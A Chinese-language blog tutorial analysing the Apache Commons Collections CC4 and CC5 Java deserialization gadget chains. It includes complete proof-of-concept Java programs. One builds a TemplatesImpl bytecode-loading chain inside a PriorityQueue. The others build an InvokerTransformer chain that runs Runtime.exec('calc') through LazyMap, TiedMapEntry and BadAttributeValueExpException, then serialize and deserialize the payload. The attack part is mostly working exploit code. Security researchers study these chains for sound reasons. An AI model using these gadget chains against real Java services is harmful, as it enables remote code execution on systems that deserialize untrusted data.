CC4+CC5分析利用

高人于斯發表於2024-06-29

CC4+CC5分析利用

CC4分析與利用

學了前面的cc2,其實cc4就是將cc2使用的InvokerTransformer替換成InstantiateTransformer來載入位元組碼(CC3裡面有說)。

把最後呼叫的transform方法改為:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

poc

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;



public class CC4 {
    public static void main(String[] args)throws Exception {

        TemplatesImpl tem =new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
        setValue(tem, "_bytecodes", new byte[][]{code});
        setValue(tem, "_tfactory", new TransformerFactoryImpl());
        setValue(tem, "_name", "gaoren");
        setValue(tem, "_class", null);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(1);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,new TransformingComparator(cha));

        Object[] queue_array = new Object[]{tem,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        serilize(queue);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;

    }
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

CC5分析與利用

前面學習了cc6知道cc6是接著cc1的LazyMap.get向上走的,透過TiedMapEntry中的getValue呼叫get,在利用hashcode呼叫getValue,最後和URLDNS一樣觸發到hashcode。

分析

TiedMapEntry#toString

其實在TiedMapEntry類中還有toString也能呼叫getValue函式:

QQ截圖20240628140140

構造試試

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC5test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        Tie.toString();
    }
}

BadAttributeValueExpException#readObject

那麼接下來就是看哪裡呼叫了toStirng方法,這個確實有點多不用找了,直接看ysoserial的cc4中給出了類BadAttributeValueExpException

QQ截圖20240628141658

直接到了readObject方法,所以這裡我們需要控制valObj為TiedMapEntry物件就行了。

發現valObj是透過gf.get方法獲取的:

QQ截圖20240628142038

我們只需要將val型別變數賦值為TiedMapEntry物件即可

但發現其建構函式也會呼叫toString

QQ截圖20240628142605

所以為了解決這種提前觸發,和前面鏈子的思路一樣,先給val隨便賦個值或者為null,然後在利用反射修改val為TiedMapEntry物件。

poc

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC5test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field v = val.getClass().getDeclaredField("val");
        v.setAccessible(true);
        v.set(val, Tie);

        serilize(val);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

番外

發現BadAttributeValueExpException沒有實現序列化介面,但還是能進行序列化,

QQ截圖20240628144217

這是因為BadAttributeValueExpException類繼承了Exception類,Exception類又繼承了Throwable類,而Throwable類實現了Serializable介面。

QQ截圖20240629003102

參考:https://nivi4.notion.site/Java-CommonCollections5-f8fd6a9220de46b7954664bb97109d9f

參考:https://www.cnblogs.com/1vxyz/p/17473581.html

相關文章